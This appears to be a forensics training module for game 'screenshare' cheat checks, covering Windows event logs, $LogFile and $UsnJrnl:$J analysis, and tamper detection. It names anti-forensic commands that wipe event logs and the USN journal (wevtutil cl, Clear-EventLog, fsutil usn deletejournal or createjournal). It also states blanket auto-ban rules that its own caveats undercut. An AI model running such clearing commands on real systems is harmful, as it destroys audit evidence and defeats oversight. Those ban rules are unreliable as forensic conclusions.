  • Security event 4616: the system time changed. Review the previous and new time, the subject, and the process. Normal clock correction can also produce this event.
  • Security event 1102: the Security audit log was cleared. Investigate the subject and surrounding activity; the event records clearing, not its motive.
  • System event 7045: a service was installed. Review the service name, image path, and surrounding activity before deciding whether it is suspicious.

Build context around a lead

USB-related events and application crashes can help explain a sequence of activity, but their availability and meaning depend on the provider and environment. Correlate a service installation with its executable, file creation records, and available process telemetry. A crash or a device connection alone is not proof of misuse.

Handle clock changes and missing logs

Normalize timezones and keep the original timestamp representation. If the clock changed, annotate that discontinuity before treating events as a simple chronological list. Missing records may result from retention, configuration, or clearing. Compare other sources rather than assuming that an empty log proves the absence of activity.

Review question

When you find a log-clearing event, ask: who performed it, when, what changed nearby, and what independent records survived?

Event definitions: Microsoft: 4616 · Microsoft: 1102.

Read the full reference
Listen to the full reference10 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Introduction to Event Logs in Screenshares

Windows Event Logs are inherently tied to deep system processes, driver creations, memory allocation crashes, and device I/O actions. When performing a "screenshare" or "PC check" on a suspected cheater (especially in FiveM or Minecraft), users will often delete their executable files before the screenshare begins.

While artifacts like Prefetch and Journaling file execution logic, Event Logs capture the residual side effects of those executions. This document highlights key indicators generated by a suspect executing an injection client, deleting their files, and hiding their presence.

Tamper Warning Focus

Because Event Logs can be manipulated or deleted in their entirety, the first step of any screenshare check involving Event Viewer is establishing whether the logs have been tampered with. If the System or Security logs have less than an hour's worth of records on a PC that has been online for a long time, the user is automatically banned for tampering.

§ 02

Core Event Log Categories

Of the dozens of available logs, four files located in %SystemRoot%\System32\Winevt\Logs\ are used near universally in cheat verifications:

Security.evtxContains process creation, audit clearings, and system time changes. Usually the most actively populated log on the entire PC.
System.evtxContains service creations (like cheat memory drivers mapping manually into kernel) and USB plugin occurrences.
Application.evtxShows native application errors, most notably when a shoddy injector crashes javaw.exe (Minecraft) or FiveM.exe.
Microsoft-Windows-UserPnp/DeviceInstallContains deep USB and peripheral plug-in trace logs. Essential when the user runs an external client off a USB drive and unplugs it right before the screenshare starts.
§ 03

Time Manipulation (4616)

Advanced ghost clients are sometimes hidden among normal files. When an attacker modifies an old file or downloads a new client, they will sometimes use "Timestomping" techniques or change their PC clock to make the file's modification timestamps appear as if it was installed years ago.

FilterSecurity Log — Event ID 4616
# The system time was changed.
Event ID: 4616
Source: Microsoft-Windows-Security-Auditing
Previous Time: ‎2024‎-‎11‎-‎02T14:45:00.000000000Z
New Time: ‎2021‎-‎05‎-‎19T20:23:01.000000000Z
Process Name: C:\Windows\System32\cmd.exe
If the user changes their clock (temporarily setting it back), modifies a file to hide it in plain sight, and sets the clock back to the present, EID 4616 logs exactly what time it was changed from, what it was changed to, and which process initiated the change.
§ 04

Cleared Event Logs (1102 / 104 / 3079)

Users who utilize basic cleaner bat scripts to wipe Prefetch and Temp folders often also run scripts that execute wevtutil.exe cl System, Clear-EventLog, or fsutil usn deletejournal. When an Event Log is wiped, Windows obligingly records a final entry noting that the local log has been cleared.

Event IDLogIndicator Details
1102Security"The audit log was cleared." Identifies the user account that ran the cleanup tool.
104System"The System log file was cleared." Frequently hit by generic FiveM cleaning tools.
3079System (Ntfs)"USN Journal cleared." Indicates attempts to wipe traces of file execution or deletion tools.
Handling Cleared Logs

In almost every community screenshare standard, finding an Event ID 1102 generated within the last 48 hours is considered an automatic refusal to screenshare and an instant ban. There is no legitimate reason for a normal player to be scrubbing security audit logs.

§ 05

Driver and Services (7045)

To bypass anti-cheat protections (such as FiveM's adhesive or server-side Minecraft checks), external clients must map into the game's memory space using a custom Kernel Driver (.sys) or proxy service wrapper. Loading these drops a breadcrumb in the System event log.

A
Driver Loads (EID 7045)
Look for weird, random service names starting up (e.g. ksdkdkdk.sys, iqvw64e.sys). Check the ImagePath. Usually points to an AppData or Temp folder.
Kernel LevelFiveM Eulen
B
PSEXEC or Weird Services
Injectors often create a service with Type Kernel Mode Driver to bypass Windows Defender before mapping memory into javaw.exe. A 7045 log showing a random .tmp file installing a service is an immediate ban.
Ghost ClientMinecraft
§ 06

USB Usage (20001 / 1006)

A classic tactic is for the cheater to place their client on a USB flash drive, load the client on the title screen, inject it, and then rip the USB drive out before entering the SS (Screenshare) voice channel.

  • Event ID 20001 / 20003 (DriverFrameworks-UserMode): Logs when a USB Mass Storage device is connected and enumerated. If a USB is plugged in mid-session and unplugged immediately before the checking admin joins, it proves extraction.
  • Event ID 1006 (Microsoft-Windows-Diagnostic-DPG): Volume mounting trace logs. Correlate the mapped Volume ID to any suspicious `Prefetch` executions (Section D evidence).

Pro Tip: Use the Registry (HKLM\System\CurrentControlSet\Enum\USBSTOR) side-by-side with event logs to get the device's friendly name and serial number.

§ 07

Application Crashes (1000 / 1001)

Cheap ghost clients are notoriously unstable. When an injector fails to allocate memory or writes to protected game memory improperly, the game will crash. A crash does not just close the game — it logs an Application Error.

Application LogEvent ID 1000
# Application Error
Faulting application name: javaw.exe, version: 8.0.51.16
Faulting module name: ntdll.dll, version: 10.0.19041.662
Exception code: 0xc0000005 ← (Access Violation)
Fault offset: 0x0000000000021cd0
Exception code 0xc0000005 indicates a memory access violation. If a player crashed multiple times in the middle of PvP due to an Access Violation inside javaw.exe or FiveM.exe, an external module was trying to read/write game pointers improperly.
§ 08

Tooling & Triage

During a fast-paced screenshare, manual Event Viewer triage is too slow. Utilizing automated or streamlined search tools is critical for spotting these Event IDs.

ToolUse Case
native Eventvwr.mscSlow, but present on all PCs. Can be used to quickly check if logs have been cleared.
PowerShell Get-WinEventFast filtering. e.g., Get-WinEvent -FilterHashtable @{LogName='System';ID=7045} -MaxEvents 10 guarantees a fast result.
Everything SearchLook for downloaded .evtx files, or cheat logs generated right next to crashes.
Echo / OceanPremium screensharing tools that automatically flag missing logs and parse these exact IDs behind the scenes for you.
MODULE 04 / 10 $LogFile & $UsnJrnl

Follow changes through the filesystem

Listen to this lesson3 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

Filesystem records can help connect creation, modification, renaming, and deletion—even when a file is gone.

Two journals, different purposes

$LogFile is associated with NTFS transaction logging and recovery. Its records can provide context for metadata operations. $UsnJrnl:$J is the USN change journal: records describe changes to filesystem objects. Neither should be treated as a complete backup of file contents or as a direct record of program execution.

Read a USN record in context

Review the file reference, parent reference, name, timestamp, and reason flags. File and parent references help you relate records to objects and directories. Reason flags describe classes of changes; they do not identify the full contents of a changed file.

Rename activity can produce old-name and new-name records. Correlate their file references rather than relying only on the visible filename. Use MFT information and other records to help reconstruct the path.

Retention matters

Journals have finite capacity and can wrap. Collection time, volume activity, journal configuration, and tampering affect which records survive. Sequence ordering in a transaction log is not a substitute for a wall-clock timestamp. Do not assume an artifact contains every historical change.

A practical examination

  1. Collect the relevant NTFS artifacts from the volume using an appropriate acquisition method.
  2. Parse them with a format-aware tool and retain the source records.
  3. Group changes by file reference and reconstruct paths where possible.
  4. Correlate changes with Prefetch, event logs, and the actual files or available copies.
Use the right conclusion

A deletion record supports a filesystem change. To establish that a deleted executable ran, look for separate execution-related evidence.

Further reference: Microsoft: change journal records.

Read the full reference
Listen to the full reference63 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Introduction

This document provides a comprehensive forensic reference for two of the most powerful — and most overlooked — NTFS artifacts available during a PC check or screenshare: $LogFile and $UsnJrnl:$J. Together, these two system files form a near-complete journal of every file operation that has occurred on a Windows volume, often going back days or weeks even after files have been deleted and the Recycle Bin has been emptied.

In the context of Minecraft and FiveM screenshares, these artifacts are invaluable. A player can delete a cheat client, wipe their AppData folder, clear their recycle bin, and run a cleaner — and $J will still contain a precise timestamp and filename for every one of those operations. Neither artifact requires any special configuration: they are active on every Windows NTFS volume by default, and they cannot be selectively cleared without either formatting the drive or running privileged tools that leave their own traces.

These two artifacts complement each other and should always be examined together. $LogFile operates at the transaction level and is primarily useful for confirming integrity and detecting deliberate wiping. $UsnJrnl:$J operates at the file operation level and is the primary source for file activity timelines. Neither replaces the other.

Core Principle

Both journals are NTFS metadata files located in the Master File Table. They are not accessible through normal Windows Explorer navigation — they require either raw volume access or dedicated forensic tools. A suspect cannot delete them through standard means, and their absence or truncation is itself a strong indicator of deliberate tampering.

§ 02

NTFS Metadata Files — Context

NTFS (New Technology File System) is the filesystem used by all modern Windows installations. Unlike FAT32, NTFS maintains an extensive internal database called the Master File Table (MFT) — a structured record of every file and directory on the volume, including metadata, timestamps, and permissions. In addition to regular files, NTFS reserves a set of special metadata files, each identified by a dollar-sign prefix, that manage the filesystem itself. Two of these are forensically critical.

The Key NTFS Metadata Files
$MFTMaster File Table — the central index of every file and directory. Each MFT record is 1 KB and stores timestamps, file sizes, attribute headers, and data run locations. The starting point for nearly all NTFS forensics.
$LogFileNTFS transaction log — records all metadata changes as atomic transactions to ensure volume consistency after crashes. Typically 4–64 MB. Stored at MFT record 2. Wraps cyclically when full.
$UsnJrnlUpdate Sequence Number Journal — a change journal tracking every file and directory modification on the volume. Contains the $J data stream (record log) and $Max (configuration). Stored as a sparse file, typically up to 32 MB of active data.
$BitmapTracks which clusters on the volume are in use. Used in carving to identify unallocated regions where deleted data may still exist.
$BootContains the volume boot record and filesystem parameters. Useful for volume identification and timestamp of initial format.
$I30Directory index — stores directory entries. Slack space in $I30 indexes often retains records for deleted files long after deletion.
Why These Files Cannot Be Deleted Normally

NTFS metadata files are locked by the kernel at all times while the volume is mounted. Windows will refuse any userspace attempt to open, rename, delete, or modify them directly. Bypassing this requires either raw volume I/O (requiring administrator privileges and leaving traces), a live forensic tool, or booting an alternate OS. Any tool capable of clearing these files is itself a significant red flag by its presence alone.

§ 03

What Is $LogFile?

$LogFile is the NTFS transaction log — sometimes called the NTFS redo log. Its primary engineering purpose is to ensure that the filesystem can recover to a consistent state after an unexpected shutdown or crash. Before NTFS commits any metadata change (creating a file, renaming it, deleting it, modifying its attributes), it first writes a record of that change to $LogFile. If the system crashes mid-write, NTFS replays or rolls back these logged transactions on the next mount to restore consistency.

From a forensic perspective, this means $LogFile contains a detailed, low-level record of every metadata operation that has taken place since it was last wrapped. The log captures not just what happened, but the before and after state of the metadata involved — meaning you can reconstruct exactly what an MFT record looked like before a change, and what it looked like after.

Key Characteristics
Location (MFT record)MFT record number 2. Present on every NTFS volume. Cannot be disabled without reformatting.
Default sizeApproximately 4 MB on typical system volumes, but can grow up to 64 MB on larger volumes. The size is set at format time and does not change dynamically.
Wrapping behavior$LogFile wraps cyclically — when full, the oldest records are overwritten by new ones. On an active system, older entries may be overwritten within minutes to hours.
Log Sequence Number (LSN)Every record carries a monotonically increasing 64-bit LSN. The current LSN is stamped in every MFT record, allowing cross-referencing between $LogFile and the MFT.
Transaction scopeRecords both redo (what to reapply on recovery) and undo (what to roll back) operations. Covers MFT record changes, index operations, attribute modifications, and allocation bitmap changes.
No userspace accessRequires raw volume access. Tools: MFTECmd (Eric Zimmermann), NTFSLogTracker, LogFileParser. Cannot be opened in Explorer or standard file tools.
Investigator Note

$LogFile's wrapping behavior makes it more time-sensitive than $J. On a heavily used system, the useful forensic window in $LogFile may be only an hour or two. Always extract $LogFile early in an investigation. On a system where the suspect has done little since committing the suspected action, $LogFile may still contain the exact transaction.

§ 04

$LogFile — Structure & Record Types

$LogFile is organized as a circular buffer divided into 4 KB pages. Each page begins with a standard NTFS update sequence record header (signature RSTR for restart pages, RCRD for log record pages). The restart pages appear at the very beginning of the file and store checkpoint information used during volume recovery.

File Layout
RegionSignatureDescriptionForensic Use
Pages 0–1RSTRRestart areas — store the most recent checkpoint LSN, the current client (NTFS), and the log file's current state flagsConfirms the log is valid; provides the last checkpoint LSN as a reference point; log state flags if the volume was cleanly unmounted
Pages 2+RCRDLog record pages — circular buffer of individual log records, each describing a single metadata operationPrimary forensic content — contains redo/undo data for every recent metadata change
Log Record Types (Operation Codes)
Operation CodeNameWhat It RecordsForensic Signal
0x00NoopNo operation — padding or transaction boundary markerLow
0x01CompensationLogRecordUndo record written during rollbackIndicates a partial or aborted operation — may indicate crash or tool failure during anti-forensics
0x02InitializeFileRecordSegmentA new MFT record was initialized (file or directory created)HIGH — direct proof of file/directory creation
0x03DeallocateFileRecordSegmentAn MFT record was deallocated (file deleted)VERY HIGH — direct proof of deletion
0x04WriteEndOfFileRecordSegmentTail of a multi-segment MFT record was writtenMedium — context-dependent
0x05CreateAttributeA new attribute was added to an MFT record (e.g., adding a $DATA stream or $FILE_NAME)HIGH — can Alternate Data Stream creation
0x06DeleteAttributeAn attribute was removed from an MFT recordHIGH — can indicate attribute wiping
0x07UpdateResidentValueThe value of a resident attribute was modified (e.g., timestamps changed in $STANDARD_INFORMATION)VERY HIGH — timestomping leaves this record; before/after timestamps recoverable
0x08UpdateNonResidentValueNon-resident attribute data was modifiedMedium — useful for tracking file content changes
0x0BUpdateFileNameRoot / IndexEntryAllocationInsertA directory index entry was inserted (file appeared in a directory listing)HIGH — proves a file was placed in a specific directory
0x0CIndexEntryAllocationDeleteA directory index entry was removed (file removed from directory listing)VERY HIGH — proves a file was removed from a specific directory; file name preserved in the log record
Timestomping Detection via $LogFile

One of the most powerful uses of $LogFile in screenshare forensics is detecting timestamp manipulation (timestomping). When a tool modifies a file's $STANDARD_INFORMATION timestamps to hide recent activity, the modification itself is an MFT attribute update — which generates an UpdateResidentValue log record in $LogFile. This record contains both the original timestamps (undo data) and the modified timestamps (redo data), allowing the analyst to prove exactly what the timestamps were before tampering.

Timestomping Indicators in $LogFile
  • $STANDARD_INFORMATION timestamps pre-date $FILE_NAME timestamps — $FILE_NAME timestamps are harder to forge and often retain accurate values
  • UpdateResidentValue records showing SI timestamp changes — the undo data contains original timestamps; a gap between before/after values of years is a near-certain indicator
  • $STANDARD_INFORMATION nanosecond components all zeroed — real Windows timestamps always have non-zero sub-second precision; perfectly rounded timestamps indicate tool-written values
  • $FILE_NAME timestamps newer than $STANDARD_INFORMATION — under normal operation, $SI timestamps are updated more frequently than $FN; if $FN is newer, the $SI timestamps were set back artificially
§ 05

$LogFile — Forensic Value

$LogFile's primary forensic strength is operating at the transaction level rather than the file level. It records not just that something changed, but the exact before-and-after state of the NTFS metadata. This gives investigators capabilities unavailable from any other artifact on the system.

What $LogFile Can Prove
A
File Creation & Deletion
InitializeFileRecordSegment and DeallocateFileRecordSegment operations are direct, low-level evidence of file creation and deletion. The log records include the MFT record content at the time of the operation — including the file name stored in the $FILE_NAME attribute.
creation proofdeletion prooffilename preserved
B
Timestamp Manipulation
UpdateResidentValue records targeting $STANDARD_INFORMATION attributes preserve the original timestamps in undo data. This makes $LogFile one of the only artifacts capable of recovering pre-tampering timestamp values and directly proving they were changed.
timestompingbefore/after recovery
C
MFT Record History
By replaying log records against an MFT record from oldest to newest, analysts can reconstruct the full history of changes to that record over the log's retention window — seeing every attribute that was created, modified, or deleted and when.
attribute historystate reconstruction
D
Alternate Data Stream Detection
CreateAttribute records for $DATA attributes that include a non-empty attribute name indicate the creation of an Alternate Data Stream — a classic persistence and hiding technique. The stream name is preserved in the log record even after the stream is deleted.
ADS detectionhidden data
Limitations
  • Wraps quickly on active systems — at 4 MB, $LogFile may only retain the last 1–4 hours of activity on a system under normal use. Extraction should happen as early as possible.
  • No absolute timestamps in log records — $LogFile records do not contain wall-clock timestamps. Time is inferred from LSN ordering and correlated with $J or MFT timestamps.
  • Complex parsing required — the format is not documented by Microsoft and requires specialized tools. Raw analysis requires significant NTFS internals knowledge.
  • Does not track file content — $LogFile tracks metadata changes only. File data (the actual bytes in a document or binary) is not journaled here.
§ 06

What Is $UsnJrnl:$J?

The Update Sequence Number Journal ($UsnJrnl) is an NTFS change journal that maintains a high-level, human-readable log of every file and directory operation on the volume. Unlike $LogFile which operates at the raw transaction level, $J records discrete, labeled events such as "this file was created," "this file was renamed to X," "this file was deleted." Each record carries an absolute 64-bit timestamp, the file name at the time of the event, and a set of reason flags describing exactly what happened.

$UsnJrnl is stored as an NTFS metadata file (\$Extend\$UsnJrnl) with two named data streams: $J (the journal records themselves, stored as a sparse file) and $Max (configuration — maximum size and allocation delta). The $J stream is the forensically relevant component.

Because $J is a sparse file that grows forward and has older data zeroed out as new data is appended (rather than overwriting in-place like $LogFile), it retains a much longer history — often several days to weeks, even on active systems. This makes it the primary artifact for file activity timelines in screenshare investigations.

Key Characteristics
LocationC:\$Extend\$UsnJrnl:$J (not browsable via Explorer). MFT record in the $Extend directory. Requires raw volume access or forensic tools.
Maximum journal sizeControlled by the $Max stream. Default is typically 32 MB of active records on Windows 10/11. Configurable via fsutil usn createjournal.
Allocation deltaWhen the journal approaches maximum size, NTFS deallocates the oldest 8 MB (by default) of records by zeroing the sparse file's leading blocks. The USN values of purged records are still present in each MFT record's $STANDARD_INFORMATION — this gap can be detected.
TimestampsEvery $J record contains an absolute FILETIME timestamp (100-nanosecond intervals since January 1, 1601 UTC). This is a direct, high-precision wall-clock time for the recorded event.
CoverageTracks every file and directory on the entire volume — not just a specific folder. A cheat client installed anywhere on the C: drive, even in a temp subdirectory, will generate $J records.
Enabled by defaultActive on all modern Windows installations. Disabling it requires administrator privileges and fsutil usn deletejournal, which itself leaves evidence in $LogFile.
§ 07

$J — USN Record Structure

Each record in the $J stream is a variable-length structure. Records are always aligned to 8-byte boundaries. There are multiple versions of the USN_RECORD structure; version 2 is the most common (Windows XP — 11), with version 3 introduced in Windows 8 adding integrity checking.

USN_RECORD_V2 Field Layout
OffsetSizeFieldDescription & Forensic Value
0x004RecordLengthTotal length of this record in bytes (variable; includes filename at end). Needed to advance to the next record.
0x042MajorVersionRecord format version. Should be 2 for standard records (3 for integrity-checked variants).
0x062MinorVersionAlways 0 in practice.
0x088FileReferenceNumberThe MFT record number + sequence number for the file. Can be used to link a $J record to the file's current or historical MFT entry.
0x108ParentFileReferenceNumberMFT reference to the parent directory at the time of the event. Reveals which folder the file was in — even if both have since been deleted.
0x188UsnThe Update Sequence Number — a monotonically increasing 64-bit value that uniquely identifies this record's position in the journal. Used for correlation and ordering.
0x208TimeStampWall-clock time of the event in FILETIME format. This is the primary timestamp used in timeline analysis. 100ns precision.
0x284ReasonBitmask of reason flags — describes what type of operation occurred. Multiple flags may be set simultaneously. See §08 for full reference.
0x2C4SourceInfoSource information flags. 0x01 (USN_SOURCE_DATA_MANAGEMENT) indicates the change was made by a backup or replication tool, not a user action. 0x04 (USN_SOURCE_REPLICATION_MANAGEMENT) indicates VSS/DFS replication.
0x304SecurityIdThe security descriptor ID applied to the file. Can be used to link events to a specific security context.
0x344FileAttributesFile attribute flags at the time of the event (Hidden, System, Archive, Temporary, etc.). Useful for identifying files deliberately marked hidden or system.
0x382FileNameLengthLength of the filename in bytes (Unicode, so divide by 2 for character count).
0x3A2FileNameOffsetOffset from start of record to the filename data. Always 0x3C for V2 records.
0x3CvarFileNameThe file name at the time of the event in UTF-16LE. This is the name as it existed when the event occurred — renames preserve both the old and new name in separate records. No full path — only the filename component.
Analyst Note — Path Reconstruction

$J records store only the filename, not the full path. To reconstruct the full path of a file at the time of an event, you must follow the ParentFileReferenceNumber chain upward through the MFT (or through earlier $J records showing the parent's own creation) until you reach the root. MFTECmd's timeline output does this automatically for currently present files; for deleted parent directories, manual chain following is required.

§ 08

$J — Reason Flags Reference

The Reason field in each $J record is a bitmask — multiple flags are often set within a single record, and multiple records may be generated per logical user operation. For example, saving a file in Notepad may generate records with reasons DATA_OVERWRITE, DATA_EXTEND, DATA_TRUNCATION, and finally CLOSE as the file handle is released.

Hex ValueConstant NameMeaningCommon Context
0x00000001DATA_OVERWRITEExisting file data was overwrittenFile modified in-place; combined with CLOSE at end of write
0x00000002DATA_EXTENDFile data was extended (file grew)Data appended to file; download in progress; installer writing output
0x00000004DATA_TRUNCATIONFile data was truncated (file shrank)File was zeroed or shortened; may indicate log or cache clearing
0x00000010NAMED_DATA_OVERWRITENamed data stream (ADS) was overwrittenAlternate Data Stream modified — potential hiding technique
0x00000020NAMED_DATA_EXTENDNamed data stream extendedData written into an ADS — possible payload concealment
0x00000040NAMED_DATA_TRUNCATIONNamed data stream truncatedADS content removed
0x00000100FILE_CREATEA new file or directory was createdPrimary creation event — present for every new file; absence of this record for an "old" file is itself suspicious
0x00000200FILE_DELETEA file or directory was deletedPrimary deletion event — proves a file was deleted even if it is now gone; timestamp is the moment of deletion
0x00000400EA_CHANGEExtended attributes were changedRare in normal use; may indicate specialized tools or WSL operations
0x00000800SECURITY_CHANGESecurity descriptor (ACL/permissions) was changedPermissions modified; may follow tool installation that adjusts access rights
0x00001000RENAME_OLD_NAMEThe file had this name before a renameProves a file was renamed — paired with RENAME_NEW_NAME to show before/after names; critical for detecting renaming of cheat clients or cleaners
0x00002000RENAME_NEW_NAMEThe file has this name after a renamePaired with RENAME_OLD_NAME to form a complete rename event
0x00004000INDEXABLE_CHANGEFile became indexable or non-indexable (Windows Search)Usually benign; may indicate file attribute changes
0x00008000BASIC_INFO_CHANGEFile timestamps or attributes changedDirect indicator of timestomping — any timestamp modification generates this flag
0x00010000HARD_LINK_CHANGEA hard link was created or deletedPotential technique for obscuring file references
0x00020000COMPRESSION_CHANGEFile compression state changedUncommon; may indicate NTFS compression being toggled
0x00040000ENCRYPTION_CHANGEFile encryption state changed (EFS)May indicate EFS being used to hide file contents
0x00080000OBJECT_ID_CHANGEThe file's object ID changedObject ID assignment or deletion; uncommon in normal operation
0x00100000REPARSE_POINT_CHANGEA reparse point (symlink/junction) was created or deletedMay indicate junction or symlink creation for evasion
0x00200000STREAM_CHANGEA named data stream was created or deletedADS creation or deletion — high-signal flag for potential data hiding
0x80000000CLOSEThe file handle was closedAlways marks the end of a logical operation; the timestamp on a CLOSE record is often the most meaningful for a completed write or delete
Reading Reason Flag Combinations

A typical file download appears as: FILE_CREATE → DATA_EXTEND (repeated) → CLOSE. A deletion appears as: FILE_DELETE + CLOSE. A rename appears as two records: one with RENAME_OLD_NAME bearing the old name, immediately followed by one with RENAME_NEW_NAME bearing the new name. A timestomping event appears as: BASIC_INFO_CHANGE + CLOSE without any preceding data modification. This last pattern — a BASIC_INFO_CHANGE in isolation with no surrounding data writes — is a strong indicator of deliberate timestamp manipulation.

§ 09

$J — Forensic Value

$UsnJrnl:$J is the single most useful file activity artifact available during a screenshare. Its combination of absolute timestamps, preserved filenames (even for deleted files), rename tracking, and long retention window makes it the primary tool for reconstructing what a player did — and when — with any file on the system.

Core Investigative Capabilities
1
Deleted File Proof
FILE_DELETE records persist in $J for days or weeks after a file is gone. Even if the Recycle Bin was bypassed (Shift+Delete), even if a dedicated cleaner was run, the $J record for the deletion remains — with the exact filename and timestamp.
FILE_DELETEfilename preservedpost-wipe
2
Rename Chain Reconstruction
Renaming a file to disguise it (e.g., renaming a cheat client JAR to something innocuous) generates RENAME_OLD_NAME and RENAME_NEW_NAME records showing both names and the exact time of the rename. These cannot be hidden without clearing the journal entirely.
RENAME_OLD_NAMERENAME_NEW_NAME
3
Timestomping Detection
BASIC_INFO_CHANGE records with a CLOSE and no surrounding data modification are a direct indicator of timestamp manipulation. The $J timestamp of the manipulation event is itself accurate — providing the real time the stomping occurred, even if the file's own timestamps have been altered.
BASIC_INFO_CHANGEtimestamp fraud
4
Installation Artifact Recovery
Installing a cheat client generates a cascade of $J records: FILE_CREATE for the installer, DATA_EXTEND during extraction, FILE_CREATE for each extracted file, SECURITY_CHANGE as permissions are set. Even after uninstall and deletion, this entire sequence is preserved in $J.
FILE_CREATEinstall detection
Long-Term Retention Advantage

Unlike $LogFile which may wrap in hours, $J's sparse-file design means it retains weeks of history under typical conditions. On a system with a 32 MB journal maximum and normal desktop activity generating roughly 1–3 MB of journal entries per day, you may have 10–30 days of file operation history available. This window can easily capture a cheat client that was installed, used, and deleted days before the screenshare.

Practical Guidance

Always check the USN value of the first (oldest) record in the $J stream against the USN stored in recent MFT records. If MFT records reference USN values that fall before the start of the journal, those records predate the current journal window — the journal was either reset or has wrapped past that point. This gap analysis tells you how far back your visibility actually extends.

§ 10

Timeline Reconstruction

The most powerful investigative technique combining $LogFile and $J is super-timeline construction: merging records from both artifacts (plus MFT timestamps and Prefetch) into a single chronological view of filesystem activity. This produces a timeline where every file creation, modification, rename, and deletion appears in order, with accurate timestamps, allowing investigators to reconstruct exactly what happened on the machine minute by minute.

Super-Timeline Source Combination
ArtifactContributesRetentionTimestamp Source
$UsnJrnl:$JFile create/delete/rename/modify events with filenames; timestomping indicatorsDays to weeksEmbedded FILETIME (accurate, not forgeable without clearing $J)
$LogFileMFT-level transaction detail; before/after timestamp recovery; ADS creation; deletion verificationHours (wraps fast)Inferred from LSN ordering; no embedded wall-clock time
$MFTCurrent state of all files including deleted entries in slack; $STANDARD_INFORMATION and $FILE_NAME timestampsUntil record reusedFour SI timestamps + two FN timestamps per file
Prefetch (.pf)Program execution events; last run times; run counts; accessed file listsUp to 128 entries, monthsEmbedded FILETIME in .pf file; last 8 run times (Win8+)
$I30 slackGhost directory entries for deleted files; filename fragmentsUntil index block reusedTimestamps preserved in slack from deleted entries
Example: Cheat Client Installation + Deletion Timeline
$J Timeline OutputMFTECmd / Timeline Explorer
# Reconstructed sequence — times are illustrative
# Source: $J records, filtered for known cheat-related paths

2025-03-14 18:43:02  FILE_CREATE    liquidbounce-1.2.3.zip          \Users\user\Downloads
2025-03-14 18:43:03  DATA_EXTEND    liquidbounce-1.2.3.zip          \Users\user\Downloads
2025-03-14 18:43:09  CLOSE          liquidbounce-1.2.3.zip          \Users\user\Downloads
2025-03-14 18:44:17  FILE_CREATE    LiquidBounce                    \Users\user\AppData\Roaming\.minecraft\mods
2025-03-14 18:44:18  FILE_CREATE    liquidbounce-nightly-1234.jar   \Users\user\AppData\Roaming\.minecraft\mods
2025-03-14 18:44:18  DATA_EXTEND    liquidbounce-nightly-1234.jar   \Users\user\AppData\Roaming\.minecraft\mods
2025-03-14 18:44:18  CLOSE          liquidbounce-nightly-1234.jar   \Users\user\AppData\Roaming\.minecraft\mods

# 20 minutes of Minecraft usage ...

2025-03-14 19:06:44  FILE_DELETE    liquidbounce-nightly-1234.jar   \Users\user\AppData\Roaming\.minecraft\mods
2025-03-14 19:06:44  FILE_DELETE    LiquidBounce                    \Users\user\AppData\Roaming\.minecraft\mods
2025-03-14 19:06:49  FILE_DELETE    liquidbounce-1.2.3.zip          \Users\user\Downloads
2025-03-14 19:07:12  FILE_CREATE    CCleaner64.exe                  \Users\user\AppData\Local\Temp
2025-03-14 19:07:45  FILE_DELETE    CCleaner64.exe                  \Users\user\AppData\Local\Temp
This sequence would be fully present in $J even if every file is gone, the Recycle Bin is empty, and CCleaner has been run. The $J records are not affected by CCleaner. Highlighted rows represent the highest-value evidence for a ban decision.
§ 11

Deleted File Evidence

One of the most common defenses during a screenshare is that a suspicious file "was never there" or "must have been from something else." $J eliminates this defense when the deletion record is still present. The filename, parent directory reference, and exact deletion timestamp are all preserved in the journal record regardless of how the file was removed.

Deletion Pathways and $J Coverage
Deletion MethodRecycle Bin$J Records?What $J Shows
Delete key (to Recycle Bin)YesYESRENAME to $Recycle.Bin path, then FILE_DELETE if emptied. Both operations logged.
Shift+Delete (bypass Recycle Bin)NoYESDirect FILE_DELETE record with the original path and filename.
Deleted by uninstallerNoYESFILE_DELETE for each removed file. Installer artifacts (temp files) also present.
Deleted by cleaner (CCleaner, etc.)NoYESFILE_DELETE records remain. The cleaner itself also generates $J records on creation/deletion.
fsutil usn deletejournal—DETECTABLE$J cleared — but $LogFile records the deletejournal operation itself. A new $J is created immediately on next mount. Gap in USN sequence is visible.
Volume format / reinstall—No (new $J)The format event is itself suspicious context. No $J data survives a full format.
MFT Slack — Additional Deleted File Recovery

When an MFT record is deallocated (file deleted), the 1 KB MFT record is not immediately zeroed — it is simply marked as available for reuse. Until that record is reused for a new file, the old data persists in the MFT as residual / slack data. This can include the full original $FILE_NAME attribute (including the filename and parent reference) and $STANDARD_INFORMATION timestamps for the deleted file. MFTECmd with the --de flag (deduplicate entries) and tools like Autopsy can carve these residual MFT records.

§ 12

Anti-Forensics & Tampering Detection

A knowledgeable suspect may attempt to interfere with $LogFile and $J. Understanding the techniques — and the traces each leaves — is essential. Critically, almost every anti-forensic action against these journals is itself detectable, either in the remaining journal content, in $LogFile, or through structural analysis of the artifacts themselves.

Known Techniques & Their Indicators
Anti-Forensics Technique: $J Deletion via fsutil
  • Method: fsutil usn deletejournal /D C: clears the $UsnJrnl entirely. Requires administrator privileges.
  • Trace 1: $LogFile contains an MFT record update for the $Extend\$UsnJrnl file showing its deletion and subsequent re-creation.
  • Trace 2: The USN values stored in recent MFT records' $STANDARD_INFORMATION will be higher than the first USN in the new $J — indicating records are missing.
  • Trace 3: The $J creation timestamp (visible in the MFT record for $UsnJrnl) will be recent — inconsistent with a system that has been in use for months.
  • Trace 4: Prefetch entries for FSUTIL.EXE will show recent execution. Combined with the above, this is very strong evidence of deliberate journal clearing.
Anti-Forensics Technique: Journal Size Reduction
  • Method: fsutil usn createjournal m=512 a=512 C: — shrinks the maximum journal size to 512 bytes, causing it to wrap almost immediately and destroy historical data.
  • Trace 1: The $Max stream of $UsnJrnl will show the new reduced MaximumSize value. Default is 0x2000000 (32 MB); anything drastically smaller is highly suspicious.
  • Trace 2: $LogFile records the $Max attribute modification.
  • Trace 3: Prefetch for FSUTIL.EXE will show recent execution.
Anti-Forensics Technique: Timestomping
  • Method: Tools such as BulkFileChanger, Attribute Changer, NirSoft's tools, or PowerShell's [System.IO.File]::SetCreationTime() modify $STANDARD_INFORMATION timestamps to make a file appear older or to match a "clean" date.
  • Trace 1: $J record with reason BASIC_INFO_CHANGE + CLOSE and no accompanying data writes shows a timestamp-only modification.
  • Trace 2: $LogFile UpdateResidentValue record contains original timestamps in its undo data.
  • Trace 3: $FILE_NAME timestamps (harder to modify) remain inconsistent with the forged $STANDARD_INFORMATION timestamps.
